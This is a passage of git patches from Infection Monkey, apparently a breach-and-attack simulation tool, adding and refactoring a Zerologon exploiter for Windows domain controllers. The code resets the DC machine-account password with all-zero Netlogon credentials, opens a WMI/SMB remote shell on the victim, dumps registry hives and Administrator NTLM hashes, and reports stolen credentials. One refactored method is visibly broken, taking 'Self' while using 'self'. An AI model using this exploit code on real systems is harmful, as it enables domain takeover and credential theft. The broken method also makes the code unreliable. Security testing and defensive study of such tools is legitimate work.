@@ +import cmd +import logging +import ntpath +import os +import sys +import time + +LOG = logging.getLogger(__name__) + + +# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py +# Used to start remote shell on victim +class RemoteShell(cmd.Cmd): + CODEC = sys.stdout.encoding + + def __init__(self, share, win32Process, smbConnection, outputFilename): + cmd.Cmd.__init__(self) + self.__share = share + self.__output = '\\' + outputFilename + self.__outputBuffer = str('') + self.__shell = 'cmd.exe /Q /c ' + self.__win32Process = win32Process + self.__transferClient = smbConnection + self.__pwd = str('C:\\') + self.__noOutput = False + + # We don't wanna deal with timeouts from now on. + if self.__transferClient is not None: + self.__transferClient.setTimeout(100000) + self.do_cd('\\') + else: + self.__noOutput = True + + def do_get(self, src_path): + try: + import ntpath + newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) + drive, tail = ntpath.splitdrive(newPath) + filename = ntpath.basename(tail) + local_file_path = os.path.join( + os.path.expanduser('~'), 'monkey-'+filename) + fh = open(local_file_path, 'wb') + LOG.info("Downloading %s\\%s" % (drive, tail)) + self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write) + fh.close() + except Exception as e: + LOG.error(str(e)) + if os.path.exists(local_file_path): + os.remove(local_file_path) + + def do_exit(self, s): + return True + + def do_cd(self, s): + self.execute_remote('cd ' + s) + if len(self.__outputBuffer.strip('\r\n')) > 0: + print(self.__outputBuffer) + self.__outputBuffer = '' + else: + self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) + self.execute_remote('cd ') + self.__pwd = self.__outputBuffer.strip('\r\n') + self.prompt = (self.__pwd + '>') + self.__outputBuffer = '' + + def default(self, line): + # Let's try to guess if the user is trying to change drive. + if len(line) == 2 and line[1] == ':': + # Execute the command and see if the drive is valid. + self.execute_remote(line) + if len(self.__outputBuffer.strip('\r\n')) > 0: + # Something went wrong. + print(self.__outputBuffer) + self.__outputBuffer = '' + else: + # Drive valid, now we should get the current path. + self.__pwd = line + self.execute_remote('cd ') + self.__pwd = self.__outputBuffer.strip('\r\n') + self.prompt = (self.__pwd + '>') + self.__outputBuffer = '' + else: + if line != '': + self.send_data(line) + + def get_output(self): + def output_callback(data): + try: + self.__outputBuffer += data.decode(self.CODEC) + except UnicodeDecodeError: + LOG.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with ' + 'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute wmiexec.py ' + 'again with -codec and the corresponding codec') + self.__outputBuffer += data.decode(self.CODEC, + errors='replace') + + if self.__noOutput is True: + self.__outputBuffer = '' + return + + while True: + try: + self.__transferClient.getFile( + self.__share, self.__output, output_callback) + break + except Exception as e: + if str(e).find('STATUS_SHARING_VIOLATION') >= 0: + # Output not finished, let's wait. + time.sleep(1) + elif str(e).find('Broken') >= 0: + # The SMB Connection might have timed out, let's try reconnecting. + LOG.debug('Connection broken, trying to recreate it') + self.__transferClient.reconnect() + return self.get_output() + self.__transferClient.deleteFile(self.__share, self.__output) + + def execute_remote(self, data): + command = self.__shell + data + if self.__noOutput is False: + command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' + self.__win32Process.Create(command, self.__pwd, None) + self.get_output() + + def send_data(self, data): + self.execute_remote(data) + print(self.__outputBuffer) + self.__outputBuffer = '' diff --git a/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py new file mode 100644 index 000000000..70aa6cd22 --- /dev/null +++ b/monkey/infection_monkey/exploit/zerologon_utils/wmiexec.py @@ -0,0 +1,68 @@ +import logging +import time + +from impacket.dcerpc.v5.dcom import wmi +from impacket.dcerpc.v5.dcomrt import DCOMConnection +from impacket.dcerpc.v5.dtypes import NULL +from impacket.smbconnection import SMBConnection + +from infection_monkey.exploit.zerologon_utils.remote_shell import RemoteShell + +LOG = logging.getLogger(__name__) + + +# Adapted from https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py +# Used to get HKLM keys for restoring original DC password +class Wmiexec: + OUTPUT_FILENAME = '__' + str(time.time()) + + def __init__(self, ip, username, hashes, password='', domain='', share='ADMIN$'): + self.__ip = ip + self.__username = username + self.__password = password + self.__domain = domain + self.__lmhash, self.__nthash = hashes.split(':') + self.__share = share + self.shell = None + + def connect(self): + self.smbConnection = SMBConnection(self.__ip, self.__ip) + self.smbConnection.login(user=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash) + + self.dcom = DCOMConnection(target=self.__ip, + username=self.__username, + password=self.__password, + domain=self.__domain, + lmhash=self.__lmhash, + nthash=self.__nthash, + oxidResolver=True) + + try: + iInterface = self.dcom.CoCreateInstanceEx( + wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login) + iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) + self.iWbemServices = iWbemLevel1Login.NTLMLogin( + '//./root/cimv2', NULL, NULL) + iWbemLevel1Login.RemRelease() + + except (Exception, KeyboardInterrupt) as e: + LOG.error(str(e)) + self.smbConnection.logoff() + self.dcom.disconnect() + + def get_remote_shell(self): + self.connect() + win32Process, _ = self.iWbemServices.GetObject('Win32_Process') + self.shell = RemoteShell( + self.__share, win32Process, self.smbConnection, self.OUTPUT_FILENAME) + return self.shell + + def close(self): + self.smbConnection.close() + self.smbConnection = None + self.dcom.disconnect() + self.dcom = None diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index f0d8ac5f0..b5ad0b5ca 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -208,7 +208,7 @@ class InfectionMonkey(object): if self.try_exploiting(machine, exploiter): host_exploited = True VictimHostTelem('T1210', ScanStatus.USED, machine=machine).send() - if exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET: + if exploiter.RUNS_AGENT_ON_SUCCESS: break # if adding machine to exploited, won't try other exploits on it if not host_exploited: self._fail_exploitation_machines.add(machine) @@ -352,14 +352,14 @@ class InfectionMonkey(object): try: result = exploiter.exploit_host() if result: - self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET) + self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) return True else: LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__) except ExploitingVulnerableMachineError as exc: LOG.error("Exception while attacking %s using %s: %s", machine, exploiter.__class__.__name__, exc) - self.successfully_exploited(machine, exploiter, exploiter.SHOULD_ADD_MACHINE_TO_EXPLOITED_SET) + self.successfully_exploited(machine, exploiter, exploiter.RUNS_AGENT_ON_SUCCESS) return True except FailedExploitationError as e: LOG.info("Failed exploiting %r with exploiter %s, %s", machine, exploiter.__class__.__name__, e) @@ -370,13 +370,13 @@ class InfectionMonkey(object): exploiter.send_exploit_telemetry(result) return False - def successfully_exploited(self, machine, exploiter, should_add_machine_to_exploited_set=True): + def successfully_exploited(self, machine, exploiter, RUNS_AGENT_ON_SUCCESS=True): """ Workflow of registering successfully exploited machine :param machine: machine that was exploited :param exploiter: exploiter that succeeded """ - if should_add_machine_to_exploited_set: + if RUNS_AGENT_ON_SUCCESS: self._exploited_machines.add(machine) LOG.info("Successfully propagated to %s using %s", diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 41ca1e561..aa20422c5 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -214,7 +214,7 @@ class ReportService: creds = [] PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} if len(monkey_creds) == 0: - return + return [] origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] for user in monkey_creds: for pass_type in PASS_TYPE_DICT: From a3bc9188dd38eab4a9611c8cfed7879e966d169f Mon Sep 17 00:00:00 2001 From: Shreya Date: Tue, 9 Feb 2021 23:38:17 +0530 Subject: [PATCH 296/466] Increase flake8 warnings' limit from 80 to 81 --- .travis.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.travis.yml b/.travis.yml index 26482dcd5..4ff0fdd8c 100644 --- a/.travis.yml +++ b/.travis.yml @@ -69,7 +69,7 @@ script: ## Display the linter issues - cat ./ci_scripts/flake8_warnings.txt ## Make sure that we haven't increased the amount of warnings. -- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=80 +- PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT=81 - if [ $(tail -n 1 ./ci_scripts/flake8_warnings.txt) -gt $PYTHON_WARNINGS_AMOUNT_UPPER_LIMIT ]; then echo "Too many python linter warnings! Failing this build. Lower the amount of linter errors in this and try again. " && exit 1; fi ## Check import order From 2bdcdcc18bfcdebe645a458a9625338e7ac03413 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 11 Feb 2021 22:39:02 +0530 Subject: [PATCH 297/466] CR changes --- monkey/infection_monkey/exploit/zerologon.py | 136 +++++++++--------- .../exploit/zerologon_utils/dump_secrets.py | 12 +- .../network/zerologon_fingerprint.py | 13 +- .../infection_monkey/utils/capture_output.py | 22 +++ .../cc/services/reporting/report.py | 16 +-- 5 files changed, 111 insertions(+), 88 deletions(-) create mode 100644 monkey/infection_monkey/utils/capture_output.py diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index dc912f43d..03957ea2c 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -21,6 +21,7 @@ from infection_monkey.exploit.zerologon_utils.options import \ OptionsForSecretsdump from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.network.zerologon_fingerprint import ZerologonFinger +from infection_monkey.utils.capture_output import StdoutOutputCaptor LOG = logging.getLogger(__name__) @@ -47,7 +48,7 @@ class ZerologonExploiter(HostExploiter): # Connect to the DC's Netlogon service. try: - rpc_con = self.connect_to_dc() + rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) except Exception as e: LOG.info(f"Exception occurred while connecting to DC: {str(e)}") return @@ -55,29 +56,7 @@ class ZerologonExploiter(HostExploiter): # Start exploiting attempts. # Max attempts = 2000. Expected average number of attempts needed: 256. LOG.debug("Attempting exploit.") - result = None - for _ in range(0, self.MAX_ATTEMPTS): - try: - result = self.attempt_exploit(rpc_con) - except nrpc.DCERPCSessionError as e: - # Failure should be due to a STATUS_ACCESS_DENIED error. - # Otherwise, the attack is probably not working. - if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: - LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") - except BaseException as e: - LOG.info(f"Unexpected error: {e}") - - if result is not None: - break - - if result['ErrorCode'] == 0: - self.report_login_attempt(result=True, user=self.dc_name) - _exploited = True - LOG.info("Exploit complete!") - else: - self.report_login_attempt(result=False, user=self.dc_name) - _exploited = False - LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.") + self._send_rpc_login_requests(rpc_con) else: LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") @@ -95,15 +74,33 @@ class ZerologonExploiter(HostExploiter): return _exploited def is_exploitable(self) -> bool: + if self.host.services[self.zerologon_finger._SCANNED_SERVICE]['is_vulnerable']: + return True return self.zerologon_finger.get_host_fingerprint(self.host) - def connect_to_dc(self) -> object: - binding = epm.hept_map(self.dc_ip, nrpc.MSRPC_UUID_NRPC, - protocol='ncacn_ip_tcp') - rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() - rpc_con.connect() - rpc_con.bind(nrpc.MSRPC_UUID_NRPC) - return rpc_con + def _send_rpc_login_requests(self, rpc_con) -> None: + result_exploit_attempt = None + for _ in range(0, self.MAX_ATTEMPTS): + try: + result_exploit_attempt = self.attempt_exploit(rpc_con) + except nrpc.DCERPCSessionError as e: + # Failure should be due to a STATUS_ACCESS_DENIED error. + # Otherwise, the attack is probably not working. + if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: + LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") + except BaseException as e: + LOG.info(f"Unexpected error: {e}") + + if result_exploit_attempt is not None: + if result_exploit_attempt['ErrorCode'] == 0: + self.report_login_attempt(result=True, user=self.dc_name) + _exploited = True + LOG.info("Exploit complete!") + else: + self.report_login_attempt(result=False, user=self.dc_name) + _exploited = False + LOG.info(f"Non-zero return code: {result_exploit_attempt['ErrorCode']}. Something went wrong.") + break def attempt_exploit(self, rpc_con: object) -> object: request = nrpc.NetrServerPasswordSet2() @@ -139,20 +136,15 @@ class ZerologonExploiter(HostExploiter): if not original_pwd_nthash: raise Exception("Couldn't extract original DC password's nthash.") - self.remove_locally_saved_HKLM_keys() - # Keep authenticating until successful. LOG.debug("Attempting password restoration.") for _ in range(0, self.MAX_ATTEMPTS): rpc_con = self.attempt_restoration(original_pwd_nthash) - if rpc_con is not None: - break + if rpc_con: + LOG.debug("DC machine account password should be restored to its original value.") + return True - if rpc_con: - LOG.debug("DC machine account password should be restored to its original value.") - return True - else: - raise Exception("Failed to restore password! Max attempts exceeded?") + raise Exception("Failed to restore password! Max attempts exceeded?") except Exception as e: LOG.error(e) @@ -173,7 +165,10 @@ class ZerologonExploiter(HostExploiter): self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes) return ':'.join(hashes) # format - "lmhash:nthash" - def get_dumped_secrets(self, remote_name: str = '', username: str = '', options: Optional[object] = None) -> List[str]: + def get_dumped_secrets(self, + remote_name: str = '', + username: str = '', + options: Optional[object] = None) -> List[str]: dumper = DumpSecrets(remote_name=remote_name, username=username, options=options) @@ -217,28 +212,27 @@ class ZerologonExploiter(HostExploiter): if not self.save_HKLM_keys_locally(admin_pwd_hashes): return - options = OptionsForSecretsdump( - dc_ip=self.dc_ip, - just_dc=False, - system=os.path.join(os.path.expanduser('~'), 'monkey-system.save'), - sam=os.path.join(os.path.expanduser('~'), 'monkey-sam.save'), - security=os.path.join(os.path.expanduser('~'), 'monkey-security.save') - ) + try: + options = OptionsForSecretsdump( + dc_ip=self.dc_ip, + just_dc=False, + system=os.path.join(os.path.expanduser('~'), 'monkey-system.save'), + sam=os.path.join(os.path.expanduser('~'), 'monkey-sam.save'), + security=os.path.join(os.path.expanduser('~'), 'monkey-security.save') + ) - dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL', - options=options) - for secret in dumped_secrets: - if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash" - nthash = secret.split(':')[2] - return nthash + dumped_secrets = self.get_dumped_secrets(remote_name='LOCAL', + options=options) + for secret in dumped_secrets: + if '$MACHINE.ACC: ' in secret: # format of secret - "$MACHINE.ACC: lmhash:nthash" + nthash = secret.split(':')[2] + return nthash - def remove_locally_saved_HKLM_keys(self) -> None: - for name in ['system', 'sam', 'security']: - path = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') - try: - os.remove(path) - except Exception as e: - LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}") + except Exception as e: + LOG.info(f"Exception occurred while dumping secrets to get original DC password's NT hash: {str(e)}") + + finally: + self.remove_locally_saved_HKLM_keys() def save_HKLM_keys_locally(self, admin_pwd_hashes: str) -> bool: LOG.debug("Starting remote shell on victim.") @@ -250,9 +244,8 @@ class ZerologonExploiter(HostExploiter): remote_shell = wmiexec.get_remote_shell() if remote_shell: - _orig_stdout = sys.stdout - _new_stdout = io.StringIO() - sys.stdout = _new_stdout + output_captor = StdoutOutputCaptor() + output_captor.capture_stdout_output() try: # Save HKLM keys on victim. @@ -277,10 +270,7 @@ class ZerologonExploiter(HostExploiter): LOG.info(f"Exception occured: {str(e)}") finally: - sys.stdout = _orig_stdout - _new_stdout.seek(0) - info = _new_stdout.read() - + info = output_captor.get_captured_stdout_output() LOG.debug(f"Getting victim HKLM keys via remote shell: {info}") else: @@ -288,10 +278,18 @@ class ZerologonExploiter(HostExploiter): return False + def remove_locally_saved_HKLM_keys(self) -> None: + for name in ['system', 'sam', 'security']: + path = os.path.join(os.path.expanduser('~'), f'monkey-{name}.save') + try: + os.remove(path) + except Exception as e: + LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}") + def attempt_restoration(self, original_pwd_nthash: str) -> Optional[object]: # Connect to the DC's Netlogon service. try: - rpc_con = self.connect_to_dc() + rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) except Exception as e: LOG.info(f"Exception occurred while connecting to DC: {str(e)}") return diff --git a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py index 19667a7da..2e73ff9de 100644 --- a/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py +++ b/monkey/infection_monkey/exploit/zerologon_utils/dump_secrets.py @@ -9,6 +9,8 @@ from impacket.examples.secretsdump import (LocalOperations, LSASecrets, SAMHashes) from impacket.smbconnection import SMBConnection +from infection_monkey.utils.capture_output import StdoutOutputCaptor + LOG = logging.getLogger(__name__) @@ -53,9 +55,9 @@ class DumpSecrets: self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) def dump(self): - _orig_stdout = sys.stdout - _new_stdout = io.StringIO() - sys.stdout = _new_stdout + output_captor = StdoutOutputCaptor() + output_captor.capture_stdout_output() + dumped_secrets = '' try: @@ -176,9 +178,7 @@ class DumpSecrets: except Exception: pass finally: - sys.stdout = _orig_stdout - _new_stdout.seek(0) - dumped_secrets = _new_stdout.read() # includes hashes and kerberos keys + dumped_secrets = output_captor.get_captured_stdout_output() # includes hashes and kerberos keys return dumped_secrets def cleanup(self): diff --git a/monkey/infection_monkey/network/zerologon_fingerprint.py b/monkey/infection_monkey/network/zerologon_fingerprint.py index 713cf50dd..fca17199b 100644 --- a/monkey/infection_monkey/network/zerologon_fingerprint.py +++ b/monkey/infection_monkey/network/zerologon_fingerprint.py @@ -75,11 +75,7 @@ class ZerologonFinger(HostFinger): def try_zero_authenticate(self, dc_handle: str, dc_ip: str, dc_name: str): # Connect to the DC's Netlogon service. - binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, - protocol='ncacn_ip_tcp') - rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() - rpc_con.connect() - rpc_con.bind(nrpc.MSRPC_UUID_NRPC) + rpc_con = self.connect_to_dc(dc_ip) # Use an all-zero challenge and credential. plaintext = b'\x00' * 8 @@ -111,3 +107,10 @@ class ZerologonFinger(HostFinger): except BaseException as ex: raise Exception(f'Unexpected error: {ex}.') + + def connect_to_dc(self, dc_ip: str) -> object: + binding = epm.hept_map(dc_ip, nrpc.MSRPC_UUID_NRPC, protocol='ncacn_ip_tcp') + rpc_con = transport.DCERPCTransportFactory(binding).get_dce_rpc() + rpc_con.connect() + rpc_con.bind(nrpc.MSRPC_UUID_NRPC) + return rpc_con diff --git a/monkey/infection_monkey/utils/capture_output.py b/monkey/infection_monkey/utils/capture_output.py new file mode 100644 index 000000000..4c27abfeb --- /dev/null +++ b/monkey/infection_monkey/utils/capture_output.py @@ -0,0 +1,22 @@ +import io +import sys + + +class StdoutOutputCaptor: + def __init__(self): + _orig_stdout = None + _new_stdout = None + + def capture_stdout_output(self) -> None: + self._orig_stdout = sys.stdout + self._new_stdout = io.StringIO() + sys.stdout = self._new_stdout + + def get_captured_stdout_output(self) -> str: + self._reset_stdout_to_original() + self._new_stdout.seek(0) + info = self._new_stdout.read() + return info + + def _reset_stdout_to_original(self) -> None: + sys.stdout = self._orig_stdout diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index aa20422c5..762307314 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -182,17 +182,17 @@ class ReportService: def get_stolen_creds(): creds = [] - stolen_system_info_creds = ReportService.get_credentials_from_system_info_telems() + stolen_system_info_creds = ReportService._get_credentials_from_system_info_telems() creds.extend(stolen_system_info_creds) - stolen_exploit_creds = ReportService.get_credentials_from_exploit_telems() + stolen_exploit_creds = ReportService._get_credentials_from_exploit_telems() creds.extend(stolen_exploit_creds) logger.info('Stolen creds generated for reporting') return creds @staticmethod - def get_credentials_from_system_info_telems(): + def _get_credentials_from_system_info_telems(): formatted_creds = [] for telem in mongo.db.telemetry.find({'telem_category': 'system_info', 'data.credentials': {'$exists': True}}, {'data.credentials': 1, 'monkey_guid': 1}): @@ -201,7 +201,7 @@ class ReportService: return formatted_creds @staticmethod - def get_credentials_from_exploit_telems(): + def _get_credentials_from_exploit_telems(): formatted_creds = [] for telem in mongo.db.telemetry.find({'telem_category': 'exploit', 'data.info.credentials': {'$exists': True}}, {'data.info.credentials': 1, 'monkey_guid': 1}): @@ -212,19 +212,19 @@ class ReportService: @staticmethod def _format_creds_for_reporting(telem, monkey_creds): creds = [] - PASS_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} + CRED_TYPE_DICT = {'password': 'Clear Password', 'lm_hash': 'LM hash', 'ntlm_hash': 'NTLM hash'} if len(monkey_creds) == 0: return [] origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname'] for user in monkey_creds: - for pass_type in PASS_TYPE_DICT: - if pass_type not in monkey_creds[user] or not monkey_creds[user][pass_type]: + for cred_type in CRED_TYPE_DICT: + if cred_type not in monkey_creds[user] or not monkey_creds[user][cred_type]: continue username = monkey_creds[user]['username'] if 'username' in monkey_creds[user] else user cred_row = \ { 'username': username, - 'type': PASS_TYPE_DICT[pass_type], + 'type': CRED_TYPE_DICT[cred_type], 'origin': origin } if cred_row not in creds: From 2c2a9eaaaecd95bd491183f6d10c256cef57a26f Mon Sep 17 00:00:00 2001 From: Shreya Date: Fri, 12 Feb 2021 13:32:18 +0530 Subject: [PATCH 298/466] Restructure `_exploit_host()` and `restore_password()` --- monkey/infection_monkey/exploit/zerologon.py | 150 ++++++++++--------- 1 file changed, 79 insertions(+), 71 deletions(-) diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 03957ea2c..8ee3117d7 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -54,9 +54,8 @@ class ZerologonExploiter(HostExploiter): return # Start exploiting attempts. - # Max attempts = 2000. Expected average number of attempts needed: 256. LOG.debug("Attempting exploit.") - self._send_rpc_login_requests(rpc_con) + _exploited = self._send_exploit_rpc_login_requests(rpc_con) else: LOG.info("Exploit failed. Target is either patched or an unexpected error was encountered.") @@ -78,8 +77,8 @@ class ZerologonExploiter(HostExploiter): return True return self.zerologon_finger.get_host_fingerprint(self.host) - def _send_rpc_login_requests(self, rpc_con) -> None: - result_exploit_attempt = None + def _send_exploit_rpc_login_requests(self, rpc_con) -> Optional[bool]: + # Max attempts = 2000. Expected average number of attempts needed: 256. for _ in range(0, self.MAX_ATTEMPTS): try: result_exploit_attempt = self.attempt_exploit(rpc_con) @@ -100,7 +99,7 @@ class ZerologonExploiter(HostExploiter): self.report_login_attempt(result=False, user=self.dc_name) _exploited = False LOG.info(f"Non-zero return code: {result_exploit_attempt['ErrorCode']}. Something went wrong.") - break + return _exploited def attempt_exploit(self, rpc_con: object) -> object: request = nrpc.NetrServerPasswordSet2() @@ -124,46 +123,56 @@ class ZerologonExploiter(HostExploiter): def restore_password(self) -> Optional[bool]: LOG.info("Restoring original password...") - LOG.debug("DCSync; getting admin password's hashes.") - admin_pwd_hashes = self.get_admin_pwd_hashes() - try: + # DCSync to get Administrator password's hashes. + LOG.debug("DCSync; getting Administrator password's hashes.") + admin_pwd_hashes = self.get_admin_pwd_hashes() if not admin_pwd_hashes: - raise Exception("Couldn't extract admin password's hashes.") + raise Exception("Couldn't extract Administrator password's hashes.") - LOG.debug("Getting original DC password's nthash.") + # Use Administrator password's NT hash to get original DC password's hashes. + LOG.debug("Getting original DC password's NT hash.") original_pwd_nthash = self.get_original_pwd_nthash(admin_pwd_hashes) if not original_pwd_nthash: - raise Exception("Couldn't extract original DC password's nthash.") + raise Exception("Couldn't extract original DC password's NT hash.") - # Keep authenticating until successful. + # Connect to the DC's Netlogon service. + try: + rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) + except Exception as e: + LOG.info(f"Exception occurred while connecting to DC: {str(e)}") + return + + # Start restoration attempts. LOG.debug("Attempting password restoration.") - for _ in range(0, self.MAX_ATTEMPTS): - rpc_con = self.attempt_restoration(original_pwd_nthash) - if rpc_con: - LOG.debug("DC machine account password should be restored to its original value.") - return True + _restored = self._send_restoration_rpc_login_requests(rpc_con, original_pwd_nthash) + if not _restored: + raise Exception("Failed to restore password! Max attempts exceeded?") - raise Exception("Failed to restore password! Max attempts exceeded?") + return _restored except Exception as e: LOG.error(e) def get_admin_pwd_hashes(self) -> str: - options = OptionsForSecretsdump( - target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" - target_ip=self.dc_ip, - dc_ip=self.dc_ip - ) + try: + options = OptionsForSecretsdump( + target=f"{self.dc_name}$@{self.dc_ip}", # format for DC account - "NetBIOSName$@0.0.0.0" + target_ip=self.dc_ip, + dc_ip=self.dc_ip + ) - dumped_secrets = self.get_dumped_secrets(remote_name=self.dc_ip, - username=f"{self.dc_name}$", - options=options) + dumped_secrets = self.get_dumped_secrets(remote_name=self.dc_ip, + username=f"{self.dc_name}$", + options=options) - user = 'Administrator' - hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets) - self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes) - return ':'.join(hashes) # format - "lmhash:nthash" + user = 'Administrator' + hashes = ZerologonExploiter._extract_user_hashes_from_secrets(user=user, secrets=dumped_secrets) + self.store_extracted_hashes_for_exploitation(user=user, hashes=hashes) + return ':'.join(hashes) # format - "lmhash:nthash" + + except Exception as e: + LOG.info(f"Exception occurred while dumping secrets to get Administrator password's NT hash: {str(e)}") def get_dumped_secrets(self, remote_name: str = '', @@ -286,14 +295,24 @@ class ZerologonExploiter(HostExploiter): except Exception as e: LOG.info(f"Exception occurred while removing file {path} from system: {str(e)}") - def attempt_restoration(self, original_pwd_nthash: str) -> Optional[object]: - # Connect to the DC's Netlogon service. - try: - rpc_con = self.zerologon_finger.connect_to_dc(self.dc_ip) - except Exception as e: - LOG.info(f"Exception occurred while connecting to DC: {str(e)}") - return + def _send_restoration_rpc_login_requests(Self, rpc_con, original_pwd_nthash) -> Optional[bool]: + # Max attempts = 2000. Expected average number of attempts needed: 256. + for _ in range(0, self.MAX_ATTEMPTS): + try: + result_restoration_attempt = self.attempt_restoration(rpc_con, original_pwd_nthash) + except nrpc.DCERPCSessionError as e: + # Failure should be due to a STATUS_ACCESS_DENIED error. + # Otherwise, the attack is probably not working. + if e.get_error_code() != self.ERROR_CODE_ACCESS_DENIED: + LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") + except BaseException as e: + LOG.info(f"Unexpected error: {e}") + if result_restoration_attempt: + LOG.debug("DC machine account password should be restored to its original value.") + return True + + def attempt_restoration(self, rpc_con: object, original_pwd_nthash: str) -> Optional[object]: plaintext = b'\x00'*8 ciphertext = b'\x00'*8 flags = 0x212fffff @@ -303,46 +322,35 @@ class ZerologonExploiter(HostExploiter): self.dc_name + '\x00', plaintext) server_challenge = server_challenge_response['ServerChallenge'] + server_auth = nrpc.hNetrServerAuthenticate3( + rpc_con, self.dc_handle + '\x00', self.dc_name + '$\x00', + nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, + self.dc_name + '\x00', ciphertext, flags + ) + + assert server_auth['ErrorCode'] == 0 + session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge, + unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) + try: - server_auth = nrpc.hNetrServerAuthenticate3( - rpc_con, self.dc_handle + '\x00', self.dc_name + '$\x00', - nrpc.NETLOGON_SECURE_CHANNEL_TYPE.ServerSecureChannel, - self.dc_name + '\x00', ciphertext, flags - ) + nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse + nrpc.OPNUMS[6] = (NetrServerPasswordSet, + nrpc.NetrServerPasswordSetResponse) - assert server_auth['ErrorCode'] == 0 - session_key = nrpc.ComputeSessionKeyAES(None, b'\x00'*8, server_challenge, - unhexlify("31d6cfe0d16ae931b73c59d7e0c089c0")) + request = NetrServerPasswordSet() + ZerologonExploiter._set_up_request(request, self.dc_name) + request['PrimaryName'] = NULL + pwd_data = impacket.crypto.SamEncryptNTLMHash( + unhexlify(original_pwd_nthash), session_key) + request["UasNewPassword"] = pwd_data - try: - nrpc.NetrServerPasswordSetResponse = NetrServerPasswordSetResponse - nrpc.OPNUMS[6] = (NetrServerPasswordSet, - nrpc.NetrServerPasswordSetResponse) + rpc_con.request(request) - request = NetrServerPasswordSet() - ZerologonExploiter._set_up_request(request, self.dc_name) - request['PrimaryName'] = NULL - pwd_data = impacket.crypto.SamEncryptNTLMHash( - unhexlify(original_pwd_nthash), session_key) - request["UasNewPassword"] = pwd_data - - rpc_con.request(request) - - except Exception as e: - LOG.info(f"Unexpected error: {e}") - - return rpc_con - - except nrpc.DCERPCSessionError as e: - # Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working. - if e.get_error_code() == self.ERROR_CODE_ACCESS_DENIED: - return None - else: - LOG.info(f"Unexpected error code from DC: {e.get_error_code()}") - - except BaseException as e: + except Exception as e: LOG.info(f"Unexpected error: {e}") + return rpc_con + class NetrServerPasswordSet(nrpc.NDRCALL): opnum = 6 From 